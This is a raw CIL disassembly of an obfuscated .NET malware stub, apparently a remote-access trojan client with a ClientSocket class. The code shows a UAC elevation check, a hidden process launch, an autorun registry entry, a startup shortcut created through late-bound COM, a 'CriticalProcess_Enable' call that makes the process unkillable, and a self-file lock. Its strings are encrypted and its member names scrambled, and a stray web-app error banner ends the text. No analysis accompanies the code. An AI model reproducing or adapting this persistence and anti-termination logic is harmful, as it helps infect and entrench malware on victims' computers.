call System.Void Stub.ProcessCritical::Ⴈ(System.Int32,System.Int32,System.Char)
ldloc.0 <null>
isinst System.String
ldsfld System.String Ⴍ.Ⴗ::Ⴄ
ldc.i4.s 24
ldc.i4.s 55
call System.Byte[] My.MyComputer::ႰႥ<System.String>(System.String,System.Int16,System.Int16)
ldc.i4 617
ldc.i4 586
call System.Void My.MyComputer::Ⴍ<System.String>(System.String,System.Byte[],System.Int16,System.Int16)
leave.s IL_03AF: ldc.i4.7
dup <null>
ldc.i4 965
ldc.i4 951
call System.Void Stub.Uninstaller::Ⴄ<System.Exception>(System.Exception,System.Int16,System.Char)
stloc.s V_7
ldc.i4 496
ldc.i4 368
call System.Void Stub.Messages::Ⴀ(System.Int32,System.Int16)
leave.s IL_03AF: ldc.i4.7
ldc.i4.7 <null>
stloc.s V_31
ldloc.s V_31
switch dnlib.DotNet.Emit.Instruction[]
ldc.i4 255
ldc.i4.2 <null>
ldc.i4 602898045
call System.String Stub.Main::Ⴄ(System.Char,System.Int32,System.Int32)
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String)
stloc.s V_9
ldloc.s V_9
isinst System.Diagnostics.ProcessStartInfo
ldc.i4.1 <null>
ldc.i4 414
ldc.i4 395
call System.Void Stub.ProcessCritical::Ⴄ<System.Diagnostics.ProcessStartInfo>(System.Diagnostics.ProcessStartInfo,System.Diagnostics.ProcessWindowStyle,System.Int16,System.Char)
ldc.i4.3 <null>
stloc.s V_31
br.s IL_03B2: ldloc.s V_31
call System.String Stub.ClientSocket::UAC()
ldc.i4 226
ldc.i4 162
call System.Boolean Stub.Main::ႥႠ<System.String>(System.String,System.Char,System.Char)
brfalse.s IL_042B: ldc.i4.8
ldc.i4.2 <null>
stloc.s V_31
br.s IL_03B2: ldloc.s V_31
ldc.i4.8 <null>
br.s IL_0427: stloc.s V_31
ldloc.s V_9
castclass System.Diagnostics.ProcessStartInfo
ldc.i4.5 <null>
newarr System.String
stloc.s V_14
ldloc.s V_14
isinst System.String[]
ldc.i4.0 <null>
ldc.i4 253
ldc.i4.2 <null>
ldc.i4 602897993
call System.String Stub.Main::Ⴄ(System.Char,System.Int32,System.Int32)
stelem.ref <null>
ldloc.s V_14
castclass System.String[]
ldc.i4.1 <null>
ldsfld System.String Settings::InstallStr
ldc.i4 386
ldc.i4 258
call System.String Stub.Messages::Ⴃ<System.String>(System.String,System.Char,System.Char)
stelem.ref <null>
ldloc.s V_14
isinst System.String[]
ldc.i4.2 <null>
ldc.i4.s 111
ldc.i4.5 <null>
ldc.i4 602898146
call System.String Stub.Main::Ⴄ(System.Char,System.Int32,System.Int32)
stelem.ref <null>
ldloc.s V_14
castclass System.String[]
ldc.i4.3 <null>
ldloc.0 <null>
castclass System.String
stelem.ref <null>
ldloc.s V_14
isinst System.String[]
ldc.i4.4 <null>
ldc.i4.s 49
ldc.i4.7 <null>
ldc.i4 602898148
call System.String Stub.Main::Ⴄ(System.Char,System.Int32,System.Int32)
stelem.ref <null>
ldloc.s V_14
castclass System.String[]
ldc.i4 792
ldc.i4 770
call System.String My.MyApplication::Ⴓ(System.String[],System.Int16,System.Char)
ldc.i4 231
ldc.i4 223
call System.Void Stub.ProcessCritical::Ⴐ<System.String,System.Diagnostics.ProcessStartInfo>(System.Diagnostics.ProcessStartInfo,System.String,System.Char,System.Char)
ldc.i4.5 <null>
stloc.s V_31
br IL_03B2: ldloc.s V_31
ldloc.s V_9
castclass System.Diagnostics.ProcessStartInfo
ldc.i4.5 <null>
newarr System.String
stloc.s V_14
ldloc.s V_14
isinst System.String[]
ldc.i4.0 <null>
ldc.i4.s 117
ldc.i4.0 <null>
ldc.i4 602898134
call System.String Stub.Main::Ⴄ(System.Char,System.Int32,System.Int32)
stelem.ref <null>
ldloc.s V_14
isinst System.String[]
ldc.i4.1 <null>
ldsfld System.String Settings::InstallStr
ldc.i4 233
ldc.i4.s 105
call System.String Stub.Messages::Ⴃ<System.String>(System.String,System.Char,System.Char)
stelem.ref <null>
ldloc.s V_14
castclass System.String[]
ldc.i4.2 <null>
ldc.i4 253
ldc.i4.4 <null>
ldc.i4 602898147
call System.String Stub.Main::Ⴄ(System.Char,System.Int32,System.Int32)
stelem.ref <null>
ldloc.s V_14
isinst System.String[]
ldc.i4.3 <null>
ldloc.0 <null>
isinst System.String
stelem.ref <null>
ldloc.s V_14
isinst System.String[]
ldc.i4.4 <null>
ldc.i4 250
ldc.i4.7 <null>
ldc.i4 602898148
call System.String Stub.Main::Ⴄ(System.Char,System.Int32,System.Int32)
stelem.ref <null>
ldloc.s V_14
isinst System.String[]
ldc.i4 242
ldc.i4 232
call System.String My.MyApplication::Ⴓ(System.String[],System.Int16,System.Char)
ldc.i4 890
ldc.i4 834
call System.Void Stub.ProcessCritical::Ⴐ<System.String,System.Diagnostics.ProcessStartInfo>(System.Diagnostics.ProcessStartInfo,System.String,System.Char,System.Char)
ldloc.s V_9
isinst System.Diagnostics.ProcessStartInfo
ldc.i4.2 <null>
ldc.i4.3 <null>
call System.Diagnostics.Process Stub.Uninstaller::Ⴍ<System.Diagnostics.ProcessStartInfo>(System.Diagnostics.ProcessStartInfo,System.Char,System.Int16)
stloc.s V_8
ldloc.s V_8
isinst System.Diagnostics.Process
ldc.i4 584
ldc.i4 578
call System.Void Stub.Messages::ႣႤ<System.Diagnostics.Process>(System.Diagnostics.Process,System.Char,System.Int32)
leave.s IL_05CB: ldc.i4.2
dup <null>
ldc.i4 494
ldc.i4 412
call System.Void Stub.Uninstaller::Ⴄ<System.Exception>(System.Exception,System.Int16,System.Char)
stloc.s V_10
ldc.i4 574
ldc.i4 702
call System.Void Stub.Messages::Ⴀ(System.Int32,System.Int16)
leave.s IL_05CB: ldc.i4.2
ldc.i4.2 <null>
stloc.s V_33
ldloc.s V_33
switch dnlib.DotNet.Emit.Instruction[]
call My.MyComputer My.MyProject::Ⴀ()
ldc.i4 366
ldc.i4 300
call Microsoft.VisualBasic.MyServices.RegistryProxy Stub.Main::ႥႭ<Microsoft.VisualBasic.Devices.ServerComputer>(Microsoft.VisualBasic.Devices.ServerComputer,System.Int32,System.Int32)
ldc.i4 916
ldc.i4 985
call Microsoft.Win32.RegistryKey My.MyComputer::ႰႼ<Microsoft.VisualBasic.MyServices.RegistryProxy>(Microsoft.VisualBasic.MyServices.RegistryProxy,System.Int16,System.Int16)
ldc.i4.s 40
ldc.i4.4 <null>
ldc.i4 602897867
call System.String Stub.Main::Ⴄ(System.Char,System.Int32,System.Int32)
ldc.i4.1 <null>
ldc.i4 848
ldc.i4 869
call Microsoft.Win32.RegistryKey My.MyApplication::Ⴍ<System.String,Microsoft.Win32.RegistryKey>(Microsoft.Win32.RegistryKey,System.String,System.Boolean,System.Char,System.Int32)
ldsfld System.String Settings::InstallStr
ldc.i4 473
ldc.i4 345
call System.String Stub.Messages::Ⴃ<System.String>(System.String,System.Char,System.Char)
ldloc.0 <null>
isinst System.String
ldc.i4 635
ldc.i4 566
call System.Void My.MyApplication::ႳႠ<System.String,System.Object,Microsoft.Win32.RegistryKey>(Microsoft.Win32.RegistryKey,System.String,System.Object,System.Int16,System.Int32)
leave.s IL_0674: ldc.i4.5
dup <null>
ldc.i4 798
ldc.i4 876
call System.Void Stub.Uninstaller::Ⴄ<System.Exception>(System.Exception,System.Int16,System.Char)
stloc.s V_11
ldc.i4.s 110
ldc.i4 238
call System.Void Stub.Messages::Ⴀ(System.Int32,System.Int16)
leave.s IL_0674: ldc.i4.5
ldc.i4.5 <null>
stloc.s V_35
ldloc.s V_35
switch dnlib.DotNet.Emit.Instruction[]
ldc.i4.7 <null>
ldc.i4 885
ldc.i4 860
call System.String Stub.Messages::ႣႰ(System.Environment/SpecialFolder,System.Int16,System.Char)
ldc.i4.s 120
ldc.i4.0 <null>
ldc.i4 602897466
call System.String Stub.Main::Ⴄ(System.Char,System.Int32,System.Int32)
ldsfld System.String Settings::InstallStr
ldc.i4 378
ldc.i4 506
call System.String Stub.Messages::Ⴃ<System.String>(System.String,System.Char,System.Char)
ldc.i4 171
ldc.i4.7 <null>
ldc.i4 602898154
call System.String Stub.Main::Ⴄ(System.Char,System.Int32,System.Int32)
call System.String System.String::Concat(System.String,System.String,System.String,System.String)
stloc.s V_12
ldc.i4.2 <null>
stloc.s V_35
br.s IL_0677: ldloc.s V_35
ldc.i4 151
ldc.i4.6 <null>
ldc.i4 602896631
call System.String Stub.Main::Ⴄ(System.Char,System.Int32,System.Int32)
ldc.i4.s 120
ldc.i4.3 <null>
ldc.i4 602898041
call System.String Stub.Main::Ⴄ(System.Char,System.Int32,System.Int32)
call System.Object Microsoft.VisualBasic.Interaction::CreateObject(System.String,System.String)
ldnull <null>
ldc.i4.s 78
ldc.i4.0 <null>
ldc.i4 602896823
call System.String Stub.Main::Ⴄ(System.Char,System.Int32,System.Int32)
ldc.i4.1 <null>
newarr System.Object
stloc.s V_15
ldloc.s V_15
isinst System.Object[]
ldc.i4.0 <null>
ldloc.s V_12
isinst System.String
stelem.ref <null>
ldloc.s V_15
castclass System.Object[]
stloc.s V_16
ldloc.s V_16
isinst System.Object[]
ldnull <null>
ldnull <null>
ldc.i4.1 <null>
newarr System.Boolean
stloc.s V_17
ldloc.s V_17
castclass System.Boolean[]
ldc.i4.0 <null>
ldc.i4.1 <null>
stelem.i1 <null>
ldloc.s V_17
isinst System.Boolean[]
call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateGet(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[])
ldloc.s V_17
isinst System.Boolean[]
ldc.i4.0 <null>
ldelem.i1 <null>
brfalse.s IL_0796: stloc.s V_18
ldloc.s V_16
castclass System.Object[]
ldc.i4.0 <null>
ldelem.ref <null>
call System.Object System.Runtime.CompilerServices.RuntimeHelpers::GetObjectValue(System.Object)
ldtoken System.String
call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle)
call System.Object Microsoft.VisualBasic.CompilerServices.Conversions::ChangeType(System.Object,System.Type)
castclass System.String
stloc.s V_12
stloc.s V_18
ldloc.s V_18
ldnull <null>
ldc.i4 192
ldc.i4.2 <null>
ldc.i4 602896797
call System.String Stub.Main::Ⴄ(System.Char,System.Int32,System.Int32)
ldc.i4.1 <null>
newarr System.Object
stloc.s V_19
ldloc.s V_19
isinst System.Object[]
ldc.i4.0 <null>
ldloc.0 <null>
isinst System.String
stelem.ref <null>
ldloc.s V_19
castclass System.Object[]
ldnull <null>
ldnull <null>
ldc.i4.0 <null>
ldc.i4.1 <null>
call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean)
ldc.i4.6 <null>
stloc.s V_35
br IL_0677: ldloc.s V_35
ldloc.s V_18
ldnull <null>
ldc.i4.2 <null>
ldc.i4.8 <null>
ldc.i4 602896979
call System.String Stub.Main::Ⴄ(System.Char,System.Int32,System.Int32)
ldc.i4.1 <null>
newarr System.Object
stloc.s V_19
ldloc.s V_19
castclass System.Object[]
ldc.i4.0 <null>
ldc.i4.s 85
ldc.i4.0 <null>
ldc.i4 602898042
call System.String Stub.Main::Ⴄ(System.Char,System.Int32,System.Int32)
stelem.ref <null>
ldloc.s V_19
isinst System.Object[]
ldnull <null>
ldnull <null>
ldc.i4.0 <null>
ldc.i4.1 <null>
call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean)
ldc.i4.0 <null>
stloc.s V_35
br IL_0677: ldloc.s V_35
ldloc.s V_18
ldnull <null>
ldc.i4.s 96
ldc.i4.3 <null>
ldc.i4 602896909
call System.String Stub.Main::Ⴄ(System.Char,System.Int32,System.Int32)
ldc.i4.0 <null>
newarr System.Object
ldnull <null>
ldnull <null>
ldnull <null>
ldc.i4.1 <null>
call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateCall(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[],System.Boolean)
pop <null>
ldc.i4.8 <null>
stloc.s V_35
br IL_0677: ldloc.s V_35
ldnull <null>
stloc.s V_18
ldloc.s V_12
isinst System.String
ldc.i4.3 <null>
newobj System.Void System.IO.FileStream::.ctor(System.String,System.IO.FileMode)
stsfld System.IO.FileStream Ⴍ.Ⴗ::Ⴐ
leave.s IL_086D: ldc.i4.0
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_13
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_086D: ldc.i4.0
ldc.i4.0 <null>
stloc.s V_37
ldloc.s V_37
switch dnlib.DotNet.Emit.Instruction[]
call System.Void Ⴍ.Ⴗ::Ⴓ()
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__1()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
callvirt System.Void System.Threading.Thread::Start()
call System.String Stub.ClientSocket::UAC()
call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String)
brfalse.s IL_08C3: ldc.i4.5
ldc.i4.6 <null>
stloc.s V_37
br.s IL_0870: ldloc.s V_37
ldc.i4.5 <null>
br.s IL_08BF: stloc.s V_37
call System.Void Stub.ProcessCritical::CriticalProcess_Enable()
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__2()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.1 <null>
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__3()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.2 <null>
ldc.i4.1 <null>
stloc.s V_37
br IL_0870: ldloc.s V_37
ldloc.1 <null>
isinst System.Threading.Thread
callvirt System.Void System.Threading.Thread::Start()
ldloc.2 <null>
isinst System.Threading.Thread
callvirt System.Void System.Threading.Thread::Start()
ldloc.2 <null>
castclass System.Threading.Thread
callvirt System.Void System.Threading.Thread::Join()
ret <null>
ldtoken System.Void Stub.Main::Main()
pop <null>
ret <null>
An error has occurred. This application may no longer respond until reloaded. Reload 🗙